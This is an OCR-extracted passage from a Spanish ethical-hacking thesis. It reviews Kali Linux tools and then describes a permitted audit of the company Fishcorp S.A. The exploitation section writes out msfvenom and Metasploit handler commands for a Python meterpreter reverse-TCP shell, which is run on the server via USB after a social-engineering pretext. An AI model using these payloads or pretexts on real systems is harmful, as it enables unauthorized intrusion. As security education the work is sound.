t: Ejecuta descubrimiento de DNS del dominio de mas alto nivel (Top-
Level Domain).

e: Usar un servidor DNS ingresado por el usuario.

I: Limite el nUmero de resultados a buscar.

h: Usa base de datos SHODAN para las consultas de host descubiertos.
Escrita en: Python
Fase del Hacking Etico a la que contribuye: Reconocimiento,
escaneo.

Datos técnicos: Debe ser instalado el paquete python para su
ejecucion.

Modo de ejecucion: Consola
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Nivel de Complejidad: Basico

Facilidad de Uso: 5

Calidad de resultados: 5

Presentacion de los resultados: 5

Valoracion final de la herramienta: Es una excelente herramienta
para el arsenal de un auditor informético, permite obtener datos
relevantes de la compafiia objetivo como correos electronicos,
servidores, entre otros, y su facilidad de exportar a html los resultados

nos brindan un informe facil de leer que incluye gréaficas y resultados

detallados.
Maltego
@ E4m B @G Maltego Community Edition 4.1.0
hd Investigate ~ View Entities  Collections  Transforms  Machines  Collaboration  Import | Export ~ Windows
il Clear Graph | Number of Results | &% Ny n a @
R [} Wi R " |a &
Copy Paste ! 11| Quick Findin Entity - .
e Delete 1250 255 10k | End  Files | Selection 4 g Q" Q

New Graph (1) X
Sear...
= Groups

= Company
= A business organizal

Organization
A social group which S

= Infrastructure

pert. b4 Hub Transfor...

Figura 3.13 Captura de la herramienta Maltego
Elaborado por: Autor

Paterva (2011), autor de la herramienta Maltego, establece que la
misma posee las siguientes funciones, opciones disponibles, datos técnicos y

demas caracteristicas:

Funcién Principal: Maltego permite establecer relaciones entre
entidades (personas, empresas, cuentas de red social, servidores, etc)
usando informacion disponible publicamente en internet. Utiliza el

concepto de “transformaciones” con lo cual se refiere a la operacion
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realizada sobre una entidad con el fin de obtener la informacion
deseada, esta informacion puede ser presentada en 4 formas distintas

(ver caracteristicas).

Caracteristicas:

Intuitiva: Su interfaz grafica permite observar los graficos por cada

entidad de manera ordenada y estos pueden ser movidas facilmente

en el area de trabajo para su organizacion.

Inteligente: Utiliza OSINT, un mecanismo inteligente que permite
encontrar, seleccionar y adquirir informacion de fuentes publicas

relacionado la misma con las entidades escogidas.

Permite la distribucién de elementos en 4 formas:

Bloque: Es la distribucién por defecto y los elementos se agrupan
siguiendo tres reglas: (i) en blogue de nodos, (ii) ordenados por tipo
de entidad, (iii) ordenados por el peso de la entidad, definiendo como
peso al indicador de relevancia que utilizan los motores de busqueda
de transformaciones.

Jerarquicamente: Distribucion tipo arbol de los elementos.
Distribucion centralizada: Ubican las entidades con mas “cercania” al
resto en el centro del mapa.

Distribucién Integral: Distancia entre cada nodo es minima.

Version: 4.1.0

Autor Paterva

Sitio Web Oficial: https://www.paterva.com/

Licencia: No comercial.

Opciones Disponibles: Las opciones de Maltego son llamadas
transformaciones, el programa cuenta con alrededor de 72
transformaciones diferentes las cuales especificaran si se desea
resolver DNS por servidores de correo electronico, servidores de
dominio, geolocalizacion, IPs, entre otros.

Escrita en: Java.

Fase del Hacking Etico a la que contribuye: Reconocimiento y

escaneo.
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Datos técnicos: En la péagina se indica que sus requisitos de
hardware minimos son 2GB RAM, 2GHz, 64Kb de ancho de banday
resolucién de pantalla 1024x768. Y los recomendados 8GB RAM,
Intel 17, mas de 1Mb de ancho de banda y resolucion de pantalla
1920%x1080. En el caso de requisitos de software se especifica lo
siguiente, instalacion previa de Java version 6 (1.6), esta instalacion
debe hacerla el usuario. No es compatible con Java version 5 (1.5).
Modo de ejecucion: GUI

Nivel de Complejidad: Intermedio/Avanzado

Facilidad de Uso: 4

Calidad de resultados: 5

Presentacion de los resultados: 5

Valoracion Final de la herramienta:  Maltego es una herramienta
muy poderosa que gracias al concepto de transformaciones permite
establecer de forma gréfica y organizada las relaciones entre las
entidades seleccionadas y la informacion publica que se analiza en

los servidores de Paterva.

3.4.2. Fase de escaneo.

En esta etapa se pretende encontrar vulnerabilidades interactuando
directamente con los equipos del objetivo, con el fin de encontrar puertos
abiertos, informacién de sistemas usados o fallos generales en la seguridad.
En esta imagen de Kali Linux disefiada para el Raspberry Pi, se contara con

nmap, burpsuit y owasp-zap.
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Nmap

[root@kali:~# nmap

Nmap 7.70 ( https://nmap.org )

Usage: nmap [Scan Type(s)] [Options] {target specification}

TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <hostl[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file

HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol 1list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <servl[,serv2],...>: Specify custom DNS servers
--system-dns: Use 0S's DNS resolver
--traceroute: Trace hop path to each host

SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans

Figura 3.14 Captura de pantalla de la herramienta nmap
Elaborado por: Autor

Segun, Nmap. Org (2001), pagina oficial de de la herramienta Nmap,

la misma posee las siguientes funciones y caracteristicas:

Funcién Principal: Nmap es una herramienta de codigo abierto para
exploracion de redes y auditorias de seguridad. Usa paquetes IP para
determinar que clientes estan disponibles en la red, que servicios estan
ofreciendo esos clientes, el sistema operativo que usa, entre otros
datos. Aunque es mayormente usado en auditorias de seguridad,
muchos administradores de red lo usan para eventos rutinarios como
inventario de red, administrar actualizaciones de servicios y monitorear
el tiempo de actividad de un cliente o servicio.
Caracteristicas:

» Potente: Fue disefiada para escanear rapidamente redes de gran
tamafio, aunque su uso en redes simples es igual de efectivo.

» Flexible: Soporta técnicas avanzadas para la exploracion de puertos
abiertos en una red, su sistema operativo, barridos de ping, etc.

» Multiplataforma: Puede ser ejecutado en todos los sistemas operativos
mas populares.

» Gratis: Su descarga y ejecucion no exige ningun registro, creacion de

cuenta o pago.
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Popular y Reconocido: Segun datos en su sitio web ha sido descargado
millones de veces y asi mismo gracias a su gran capacidad ha recibido
premios y ha sido presentado en articulos, estudios, peliculas, entre
otros.

Version: 7.70

Autor: Gordon Lyon (mas conocido por su alias Fyodor Vaskovich)
Sitio Web Oficial: https://nmap.org

Licencia: GNU GPLv2

Opciones Disponibles: Nmap ofrece una larga cantidad de
parametros los cuales seran encontrados detalladamente en el
siguiente link: https://nmap.org/man/es/man-briefoptions.html.  El

formato que usara el comando tendra la siguiente forma:

nmap [Tipo(s) de Andlisis] [Opciones] {especificacion de objetivos}

Escrita en: C, C++, Lua, Python

Fase del Hacking Etico a la que contribuye:  Escaneo

Datos técnicos: La pagina oficial ofrece un manual de instalacion para
casi todos los temas sistemas operativos y sus requisitos.

Modo de ejecucion: Consola.

Nivel de Complejidad: Intermedio/Avanzado.

Facilidad de Uso: 4

Calidad de resultados: 5

Presentacion de los resultados: 4

Valoracion final de la herramienta: Nmap nos ofrece una gran
cantidad de opciones para identificar vulnerabilidades y equipos activos
en una red ya sea de gran tamafo o una simple red local. Su interfaz
es facil de leer aunque sus resultados obligan a que el usuario tenga
conocimientos previos sobre puertos, protocolos y servicios para poder

entender los mismos.

52



Burp Suite

Burp Suite Community Edition v1.7.35 - Temporary Project e 0
Burp Intruder Repeater Window Help - - - - B . - .
Target WT Spider | Scanner | Intruder | Repeater TSequencef Decoder TComparer Ismnder TPrmec{opuons IUserﬂptlous TE
Site map W]
[ Filte: Hiding not found items; hiding CS5, image and general binary content; hiding 4xx responses; hiding empty folders )]
Host [ Methad | URL [ Params [Sta.. 4| Length [MMEtype | Title [ Comment [ Time requ...
<L T

Request | Response

Raw  Hex

CIE G fremse

Figura 3.15 Pantalla principal de Burp Suite

Elaborado por: Autor

>

0 matches

Segun PortSwigger (2018), La funcion principal, caracteristicas y

opciones disponibles de la herramienta Burp Suite son:

Funcién Principal: Fue desarrollado para proveer una solucion
comprensiva para analizar la seguridad de aplicaciones web. Brinda

soporte tanto en esta fase como en la de explotacion.

Caracteristicas:

» Rapido: Su interfaz es muy 6ptima y trabaja de manera muy eficiente

segun lo que desee hacer el auditor.

e Personalizado: Le permite al auditor automatizar varios tipos de

pruebas y combinarlas con técnicas manuales.
Version: 1.6
Autor: PortSwigger Ltd.
Sitio Web Oficial: https://portswigger.net
Licencia: Burp Suite Free License Agreement
Opciones Disponibles:

* Burp Proxy

e BurpSpider

* Burp Repeater
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* Burp Sequencer

e Burp Decoder

* Burp Comparer

e Burp Intruder
Escrita en: Java
Fase del Hacking Etico a la que contribuye: Escaneo, explotacion.
Datos técnicos: Utiliza Oracle Java 1.6 o superior, posee una version
disponible para teléfonos iOS.
Modo de ejecucion: GUI
Nivel de Complejidad: Avanzado
Facilidad de Uso: 4
Calidad de resultados: 5
Presentacion de los resultados: 5
Valoracion Final de la herramienta:  Su version sin costo brinda
grandes aplicaciones para un auditor informatico, permitiendo realizar
intercepciones de solicitudes HTTP. El hecho de que permita su
incorporacion con todos los navegadores web populares la hacen una

herramienta muy flexible y de amplio uso en varias industrias.

Owasp-zap

Untitled Session - OWASP ZAP 2.7.0 (- IO <]
File Edit View Analyse Report Tools Online Help
‘VstandardMode' EEHm g Jl;‘rﬂ;‘;’ﬂfjjj LAY b rOoOXERE ¢ ‘

@ Sites - J " Quick Start #I = Request T Response& m

QLEE H
v 5 Contexts Welcome to the OWASP Zed Attack Proxy (ZAP)

(5] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
» @ Sites

Please be aware that you should only attack applications that you have been specifically been given permission

To quickly test an application, enter its URL below and press ‘Attack'.

URL to attack: http://ucsg.edu.ec

| Ostop
Progress: Actively scanning (attacking) the URLSs discovered by the spider v
<L T

[‘f History] €, Search ] U Alerts I Output I % Spider I )) Active Scan & % m

[ ) New Scan  Progress: | 0: http:/jucsg.edu.ec |v| [ [ 1% ' Current Scans:1 - Num requests:2 ¢ Export e
|1d | Reg. Timestamp | Resp. Timestamp Method | URL | Code |Reason | RTT | Size Resp. Header | Size Resp. Body |
16 8/26/18, 8:19:44 PM 8/26/18, 8:19:45 PM  GET http://ucsg.edu.ec/721545208736765280... 404 Not Found 6... 390 bytes 0 bytes -
18 8/26/18, 8:19:45PM 8/26/18, 8:19:46 PM GET http://ucsg.edu.ec/wp-admin/4461769215... 404 Not Found 1... 295 bytes 0 bytes
20 8/26/18, 8:19:46 PM  8/26/18, 8:19:47 PM  GET http:/jucsq.edu.ec?query=c%3A%2FWindo... ~ 200 OK 1. 308 bytes 102,155 bytes
21 B8/26/18, 8:19:46 PM  8/26/18, 8:19:48 PM  GET http:/fucsg.edu.ec/not_found?query=c%3A... 404 Not Found 2... 341 bytes 41,075 bytes
v
[(Alerts B0 P16 RO Current Scans 40 &0 )1 @0 o 0 ol

Figura 3.16 Owasp-zap analizando el sitio web la UCSG
Elaborado por: Autor
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Funcion Principal:  Esta herramienta permite encontrar vulnerabilidades
en la seguridad de aplicaciones web, tanto automaticamente mientras se
desarrollan las mismas, asi como de forma manual en el caso de una
auditoria informatica (OWASP, 2018).

Caracteristicas:

e Multiplataforma

» Uso facil y sencillo

» Completamente gratis y de cédigo abierto

e Amplia documentacion en linea

Version: 2.7.0

Autor: OWASP (Open Web Application Security Project)

Sitio Web Oficial: www.owasp.org

Licencia: Apache

Opciones Disponibles: De acuerdo al sitio web oficial sus opciones

mas usadas y populares son:

» Servidor proxy de interceptacion.

* Rastreadores web tradicionales y por AJAX.

» Escaner automatizado.

» [Escéaner pasivo.

» Navegacion forzada.

* Fuzzer

e Soporte para WebSocket.

Escrita en: Java

Fase del Hacking Etico a la que contribuye:  Escaneo, explotacion.

Datos técnicos: Requiere de Java 7 como requisito previo a su

instalacion.

Modo de ejecucion: GUI

Nivel de Complejidad: Intermedio

Facilidad de Uso: 5

Calidad de resultados: 5

Presentacion de los resultados: 5

Valoracion Final de la herramienta:  Herramienta muy util tanto para

desarrolladores como auditores informaticos. Posee varias
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herramientas que nos ayudarian a encontrar vulnerabilidades en las

diferentes aplicaciones web.

3.4.3. Fase de explotacion.

En esta etapa se aprovechan las vulnerabilidades encontradas y se

logra obtener acceso al sistema objetivo. En Kali hay dos herramientas en su

version para Raspberry que nos ayudaran con esta fase: Metasploit

Framework y SET.

Metasploit Framework

Database
Creating
Creating
Creating
Creating

[+] Creating

ITIITII
II
II
II
II

IITII1

I love shells

- =

[ mets

--=[ 538 payloads - 41 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

already started

database user 'msf’

databases 'msf'

databases 'msf test'

configuration file '/usr/share/metasploit-framework/config/database

initial database schema

--egypt

auxiliary - 310 post

]
1
1
1

Figura 3.17 Pantalla inicial de Metasploit Framework

Funcioén

Elaborado por: Autor

Principal: Proyecto de cddigo abierto que provee la

infraestructura, contenido y herramientas para ejecutar exploits en

pruebas de intrusion y extensas auditorias de seguridad (Metasploit,

2015).

Caracteristicas:

» Caodigo abierto

* Intuitivo: Su interfaz a pesar de no ser grafica es muy amigable y facil de

comprender.

Version: 4.17.8
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Autor: Creado por H.D Moore y desde el 2009 adquirido por Rapid?7.

Sitio Web Oficial: https://www.metasploit.com/

Licencia: Metasploit Framework License (BSD de 3 clausulas)

Opciones Disponibles: Al momento de esta investigacion, esta

herramienta ofrece en su libreria 1803 exploits diferentes. Github (2018),

establece que la estructura posee 3 elementos principales:

Librerias: son la base de MSF, encargadas de ofrecer las funciones
basicas y las tareas principales. Proporciona APIs.

Modulos: Establecen las funcionalidades a MSF, son 6: auxiliares,
codificadores, de explotacion, cargas, generadores de no operacion y
post-explotacion.

Interfaces.

Escrita en: Perl y Ruby.

Fase del Hacking Etico a la que contribuye:  Explotacion.

Datos técnicos: Su uso levanta: un servidor de base de datos

PostgreSQL, un servidor remoto de tipo RPC Metasploit Server y un

servidor web.

Modo de ejecucion: Consola.

Nivel de Complejidad: Avanzado.

Facilidad de Uso: 4

Calidad de resultados: 5

Presentacion de los resultados: 5

Valoracion Final de la herramienta:  Metasploitable nos ofrece un gran

arsenal de exploits para usar directamente en nuestro objetivo los cuales

nos daran varias ventajas sobre el mismo dependiendo de lo que se
desee realizar asi como varios exploits disponibles para mantener el

acceso, aspecto no incluido en el hacking ético.
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SET (Social-Engineer Toolkit - Set de Herramientas  de Ingenieria Social)

SET
RelL1K

Blackout
@TrustedSec
@HackingDave
https://www. trustedsec.com
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www. trustedsec.com
https://github.com/trustedsec/ptf

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Figura 3.18 Pantalla de inicio de SET
Elaborado por: Autor

Funcioén Principal: Estructura basada en Python creado para pruebas
de intrusién mediante ingenieria social (TrustedSec, 2018).
Caracteristicas:

« Intuitivo: Facil de seguir y en cada paso nos da las nuevas opciones que

se pueden escoger.

« Completo: Ofrece 11 ataques de ingenieria social.

» Caodigo abierto
Version: 7.7.9
Autor: David Kennedy
Sitio Web Oficial:  https://www.trustedsec.com/social-engineer-toolkit-
set/
Licencia: BSD

TrustedSec (2018), establece que las opciones disponibles son las siguientes:
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1.

Opciones Disponibles: Los 11 ataques que ofrece este kit de
herramientas son los siguientes:
Metodos de ataques por email: Permite crear archivos comunes (docx,
pdf, etc) los cuales tendran incluido un exploit seleccionado
previamente y que al ser abierto por la victima nos dara el acceso
deseado.
Ataques a sitios web: Permite realizar ataques directamente a sitios
web, siendo el mas popular la clonacion del mismo con el fin de obtener
credenciales.
Generador para infectar dispositivos de almacenamiento: Permite crear
un archivo de tipo autorun.inf con un payload incluido. Este sera
activado al momento de conectar el dispositivo de almacenamiento en

la maquina obijetivo.

. Creador de payload y escuchador: Esto permite crear un archivo .exe

que abrira la comunicacion entre victima y atacante.
Ataque de Mail masivo, a diferencia del primero no se adjuntara ningun

ataque.

6. Ataques basados en Arduino

Ataques a Puntos de Acceso Inaldmbrico: Permite crear un punto de
acceso que ofrecera paginas creadas por el atacante.

Ataques generador de cédigos QR: Permite crear cédigos QR que al
ser leidos por la victima lo dirigiran a los sitios del atacante.

Ataques Powershell: Permite usar PowerShell de la victima, consola
del sistema operativo Windows que permite ejecutar cambios en el

sistema.

10. Ataques SMS: Suplantacion de identidades maviles.

11.Modulos de Terceros: Permite agregar modulos de terceros al SET.

Escrita en: Python

Fase del Hacking Etico a la que contribuye:  Explotacion.
Datos técnicos: Ninguno.

Modo de ejecucion: Consola.

Nivel de Complejidad: Intermedio

Facilidad de Uso: 4

Calidad de resultados: 5
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Presentacion de los resultados: 4

Valoracion Final de la herramienta: Este conjunto de herramientas
ofrece una larga cantidad de ataques y aproximaciones posibles a la
victima. Es una herramienta muy eficaz y los diferentes ataques
ofrecidos se aprovechan de la maxima vulnerabilidad de un sistema: el

ser humano (Kennedy, 2014).

3.4.4. Fase de escribir informe.
Para esta fase previa a la entrega del reporte final, se debe reportar las
vulnerabilidades encontradas y los exploits usados para acceder a la red de

la victima. Kali Linux ofrece en su version ARM el marco de trabajo Dradis.

Dradis
Dradis CE Q  @Upbadoutputiromtool  RExportresus g Configuraton v @
PROJECT SUMMARY
Issues so far Methodology progress
i Nodes
There are no issues in this project yet. There are no methodologies in this

project yet.

L VUL ETICIC or & Upload
output from tool

+ Add a testing methodology

Useful articles Recent activity

Figura 3.19 Area de trabajo del software Dradis
Elaborado por: Autor

Funcioén Principal: Es una aplicacion web de cddigo abierto, su funcién
principal es ofrecer un espacio de trabajo colaborativo para llevar control
de todo lo realizado a lo largo de un proyecto de auditoria (Kali Linux,
2018).
Caracteristicas:

» Colaborativa: Permite la introduccion de datos de varios usuarios lo cual

es una gran ventaja en trabajos a gran escala.
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 Independiente de Sistema Operativo: Al ser una aplicacion web solo se
necesita un explorador para acceder a Dradis.
» Sencillo: Su interfaz es intuitiva y muestra sus opciones de forma muy
entendible.
Version: 3.9.0
Autor: Security Roots
Sitio Web Oficial: https://dradisframework.com/ce/
Licencia: GNU GPLv2
Opciones Disponibles:
» El ambiente compartido funciona con una contrasefia general para los
miembros.
» Ofrece crear notas y clasificarlas, asi como la opcién de adjuntar
archivos.
« Permite el uso de plugins para expandir sus funcionalidades.
Escrita en: Ruby
Fase del Hacking Etico a la que contribuye:  Creacién del Reporte
Datos técnicos: Ninguno a destacar.
Modo de ejecucion: Aplicacién Web.
Nivel de Complejidad: Intermedio.
Facilidad de Uso: 5
Calidad de resultados: 5
Presentacion de los resultados: 3
Valoracion Final de la herramienta:  Esta herramienta permite llevar
control de toda actividad que se vaya realizando en una auditoria, asi
como ir clasificando esta informacion en forma de notas. Se le asigna un
3 en presentacion de resultados ya que demostrd tener pequefios

inconvenientes al momento de exportar los resultados en formato doc.x.
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4. CAPITULO 4: Aplicaciéon General del Hacking Etico  en la Empresa
Fishcorp S.A.

El presente capitulo tiene como objetivo usar el Raspberry Pi como
herramienta de auditoria informatica en la empresa Fishcorp S.A. siguiendo
las fases del hacking ético. Previo a la aplicacion del hacking ético se realizara
un analisis F.O.D.A. de la empresa con enfoque en la seguridad informatica
de la misma. Posteriormente se realizara una descripcion de cada actividad
realizada por cada etapa, la herramienta que se usara y los resultados
obtenidos.

4.1. Analisis F.O.D.A. de la Seguridad Informatica  de la Empresa

Fortalezas:

« La empresa Fishcorp S.A. cuenta con un ingeniero en sistemas presente en
planta, con el perfil profesional requerido, dedicada al mantenimiento de

redes y solucién de problemas.

Oportunidades:

« Fishcorp S.A. debe aprovechar que el mercado de la seguridad informatica
esta creciendo brindando un mayor niumero de soluciones de seguridad

informatica en el pais.

« Las empresas de seguridad informatica que han aparecido en los ultimos
afos brindan el servicio de capacitacion al personal de las empresas para
reforzar la seguridad de la red. Lo cual podria convertirse en una gran

fortaleza para Fishcorp S.A.

Debilidades:

- La red de la empresa Fishcorp S.A. no posee routers administrativos por lo

que es imposible la configuracion de VPNs.

« El servidor no se encuentra con seguridad fisica permitiendo el acceso de

personal no autorizado al mismo.

« El software del servidor no esta actualizado con la Gltima versién del mismo.

62



Amenazas:

Hackers podrian acceder al servidor si se llegara a obtener acceso fisico o
engafiando con un archivo malicioso a los usuarios de la red de la empresa
Fishcorp S.A. usando ingenieria social. En la seccion de anexos se adjuntan

fotos del estado del servidor asi como de los routers.

La falta de routers administrativos permite que ataques a la red inalambrica
sean mas accesibles y faciles de realizar para un hacker.
Robo de informacion delicada por parte de hackers, lo que podria incluir

informacion financiera, datos sobre clientes, entre otros datos de interés

sobre Fishcorp S.A.

4.2.

Datos Técnicos sobre la Red de la Empresa

Por informacion obtenida por el administrador de red se conocié que

los equipos relacionados a la investigacion son los siguientes modelos:

Tabla 4.1 Equipos en la red de Fishcorp S.A.

empresa.

Equipo Funcion Detalles
. . . Dos de estos en el area
. . Brindar conexion a internet por o X
2 x Mikrotik - ) administrativa.
medio de las interfaces ethernet a . .
CRS125-24G- e Puede cambiarse interfaces a
las computadoras de escritorio de la '
1S-IN unas de fibra y posee puerto

USB para modem 4G.

Servidor HPE
ProLiant ML110

Contiene los archivos de la empresa
desde el 2015 en adelante.

Conectado por medio de
ethernet a uno de los routers

de Escritorio HP

del departamento financiero y 3 de
recursos humanos.

Genl0 anteriores.
Equipos dedicados a los diferentes : . .
. - . Los equipos tienen instalado
15 trabajos de oficina repartidos entre Windows 8
Computadores | 6 del departamento administrativo, 6 )

Al momento no cuentan con un
antivirus actualizado.

Elaborado por: Autor.

En la siguiente imagen podremos observar de forma general como se

encuentran conectados los equipos de la empresa Fishcorp S.A.
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Internet

Interfaz Wi-Fi

Router ISP

."—-
T

Servidor Principal

T

Computadores Dep. Administrativo Computadores Dep. Financiero y RH

Figura 4.1 Topologia de la red de Fishcorp S.A.
Elaborado por: Autor.

Podemos observar que la red de la empresa posee una estructura
simple, conformada por el router principal del proveedor, el cual brinda internet
a los dos routers Mikrotik y también ofrece Wi-Fi para la empresa. Los dos
routers Mikrotik ocupan sus interfaces de ethernet en brindar internet a los
computadores de escritorio de la empresa.

4.3. Aplicacién General de las Etapas de Hacking Et  ico a la Empresa
Fishcorp S.A.
Previo al inicio de las pruebas se solicitd el respectivo permiso a la
empresa puesto que sin el mismo las actividades a realizar serian de caracter
ilegal. En la seccion de anexos se podran encontrar las cartas de solicitud asi

como la confirmacion por parte de la empresa.
Contando con la confirmacion de la empresa se procedera a conectar

el Raspberry a la red de la misma, en este caso se conectara por un puerto
ethernet directamente al router principal.
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Una vez iniciada la sesion en el Raspberry se procede a introducir el

siguiente comando con el fin de crear una comunicacion con el protocolo SSH

al computador raiz para manejar de manera mas comoda la plataforma:

ssh -fN -R 8443:localhost:22 carlosestrada@I|Pdelordenador

En el ordenador se ingresara el siguiente comando y la contrasefia del

Raspberry para completar el proceso:

ssh root@localhost -p 8443

Last login: Sun Aug 26 16:44:54 on ttys000

[MacBook-Pro-de-Carlos:~ carlosestrada$ ssh root@localhost -p 8443
[root@localhost's password:

Linux kali 4.9.80-Red4son-v7+ #1 SMP Thu Apr 26 17:45:16 CDT 2018 armv71

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Sun Aug 26 21:45:11 2018 from ::1

root@kali:~#

Figura 4.2 Conexion ssh establecida en el ordenador del autor
Elaborado por: Autor

4.3.1. Fases de reconocimiento.
Para esta etapa se usara la aplicacion Maltego siguiendo los pasos

descritos a continuacion:

1.

Iniciar la herramienta Maltego en el ordenador principal y escoger la
opcion de crear un archivo nuevo.

En la paleta de identidades se seleccionara bajo la seccion
infraestructura la opcion Domain, indicando que la entidad a analizar
sera un dominio web. Se procedera a cambiar el nombre del mismo por

el sitio web de la empresa: www.fishcorpsa.net. Cabe recalcar que esta
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etapa no representa ninguna actividad ilegal ya que se esta usando

informacion publica.

AS
An internet Autonomous Systel

jmm Banner

Banner

g DNS Name
Domain Name System server nz

: 28\
Domain . ‘.,
An internet domain ] ..‘

www.fishcorpsa.net
IPv4 Address N

An IPversion 4 address

@ MX Record
A DNS mail exchange record

Figura 4.3 Visualizacion de la entidad Domain creada en Maltego
Elaborado por: Autor

3. Se procedera a dar click derecho sobre la entidad y seleccionar DNS From
Domain, lo cual realizara todas las transformaciones incluidas en este
grupo, dandonos como resultado direcciones de sus servidores DNS, NS,

Mail y sitio web como observamos en la siguiente captura:

New Graph (1) X
Layout | g
o = .
Y "\’ e aspmx2.googlemail.com
At - P ———
-— 4 alt2.aspmx.|.google.com
www.fishcorpsa =S =
o T o —. =
7 / \ N ST
“e / ™G ~ P aspm>3.googlemail.com
~
. / 58 ol
1 ? \ \\ S — -
o / ; e =
o / ~ ~
; \ S
Freeze | / \ e o= altl.aspmx..google.com
3k / N o
/
/ \ S
O ¥ \ A
. robotns2 .second-ns.de
aspmx5.googlemail.com
L el
—
www. fishcorpsa.net
»
s
»
I’
s.
v

Figura 4.4 Aplicacion de transformaciones sobre DNS
Elaborado por: Autor

Esta etapa nos permitié obtener informacion de los servidores que la

empresa usa para alojar su sitio web, sus cuentas de email asi como datos de
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servidores DNS. Esta etapa nos permite observar el poder de la herramienta
Maltego para mostrarnos de forma grafica e intuitiva resultados de informacion

publica de una empresa.

Esta informacidn en este caso no sera muy relevante ya que
observamos que la pagina no esta alojada en el servidor ubicado dentro de
la empresa y porque al ser un hackeo de caja blanca podremos acceder

directamente al servidor mencionado en la siguiente fase.

4.3.2. Fase de escaneo.

En esta parte del hacking ético se conectara el Raspberry Pi
directamente a la red inalambrica de la empresa y se utilizara la herramienta
Nmap para hacer una deteccidén de puertos abiertos los cuales indicaran que

ataque podria ser usado en la fase de explotacion.

Por razones de seguridad se omitiran las direcciones IP que la empresa
usa. Conociendo por parte del administrador de red la direccion IP del servidor

se procedera a realizar un analisis con Nmap del mismo.

Se introducira el siguiente comando para realizar un escaneo completo:

nmap -sT -O <direccionlP> -o0X Fishcorp

El parametro -sT indica un analisis completo y -O indica que se realice
deteccién de sistema operativo. Finalmente, el pardmetro Ox indica que se
desea exportar los resultados a un archivo XML de nombre Fishcorp, este
archivo podra ser encontrado en anexos. En la siguiente captura podemos
observar detalladamente los puertos abiertos y el sistema operativo que usa

el servidor:
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oper—|NTLp
open |kerberos-sec
open |msrpc
open |netbios-ssn
open |ldap
open |microsoft-ds
open |kpasswd5
open |http-rpc-epmap
open |ldapssl
open |sybase
open |globalcatLDAP
open |globalcatLDAPssl
open |ms-wbt-server
open |appserv-http
open |imgbrokerd
open |http-proxy
open |intermapper
open |cslistener
open |tor-orport
49152/tcp open |unknown
49153/tcp open |unknown
49154/tcp open |unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

oft Windows 2012|7|8.1
microsoft:windows server 2012:r2 cpe:/o:microsoft:windows 7:::ultimate cpe:/o:microsoft:windows 8.1
crosoft Windows Server 2012 R2 Update 1, Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1

Figura 4.5 Resultados de la herramienta Nmap
Elaborado por: Autor

4.3.3. Fase de explotacion.

Aprovechando los puertos abiertos se decidird que exploit usar con
ayuda de la herramienta Metasploit Framework. En este caso se creara un
exploit en lenguaje python, sera guardado en una memoria USB y sera
introducido en el servidor el cual se encuentra con acceso libre y nos permitira
abrir una sesion de Metasploit desde nuestro computador. En este caso se

usara un ataque de TCP reverso.

El primer paso sera generar el archivo malicioso, en este caso se
escoge Python ya que todos los sistemas tienen por defecto instalado la
lectura de este lenguaje y su ejecucion directa. Asi mismo en base a los
resultados obtenidos en Nmap se aprovechara el puerto 49152 que, como se
observa en la captura previa, esta libre. Esto se logra con el siguiente

comando:

msfvenom -p python/meterpreter/reverse_tcp LHOST=<DIRECCIONIPATQ
LPORT=49152 > Fishcorp.py

Donde, LHOST es la direccion IP del atacante, LHOST el puerto que
se usara para el ataque y el parametro Fishcorp.py es el nombre que tomara

el archivo ejecutable.
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Posteriormente, se necesita crear la sesibn de escucha en la
plataforma atacante, para esto iniciaremos Metasploit Framework escribiendo
el comando msfconsole y se ingresaran los siguientes cédigos para levantar

un servidor en el Raspberry Pi:

use multi’/handler

set PAYLOAD python/meterpreter/reverse_tcp
set LHOST <IPDELATQ>

set LPORT 49152

exploit -j -z

Esto permitirA que cuando el archivo sea ejecutado, la sesion de
meterpreter se iniciara en la consola atacante, asi como lo condiciona a
funcionar como un trabajo mas, lo que permitira seguir usando la consola para
otras funciones. En la siguiente captura se muestran los pasos explicados
previamente:

:~# msfvenom -p python/meterpreter/reverse tcp LHOST=/EEEEEEEEEEEN | FOR
T=49152 > Fishcorp.py

root@kali: ~

File Edit View Search Terminal Help
) > use multi/handler

) > set LiosT

) = set LPORT 49152
LPORT => 49152
msf exploit( ) > exploit -j -z
*] Exploit running as background job 0.

*] Started reverse TCP handler on N 40152
msf exploit( ) > I

Figura 4.6 Creacion del exploit y de la sesién en Metasploit.
Elaborado por: Autor

El siguiente paso sera ejecutar el archivo en el servidor, esto se logré
gracias a simple ingenieria social, pidiéndole al administrador de red que nos
de un minuto en el servidor para tomar unos datos, se ingreso la memoria
USB y se escribié en un terminal: python F/:Fishcorp.py donde el comando
python le dice al computador que el archivo a ejecutar sera en este lenguaje.
Al ejecutarlo la ventana se cerrara y veremos la sesion iniciada en el

computador atacante y las diferentes opciones que podemos usar. Bastara
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usar con comandos Linux basicos como pwd para ver en que directorio
estamos, Is para listar lo que hay dentro del directorio actual y en la captura
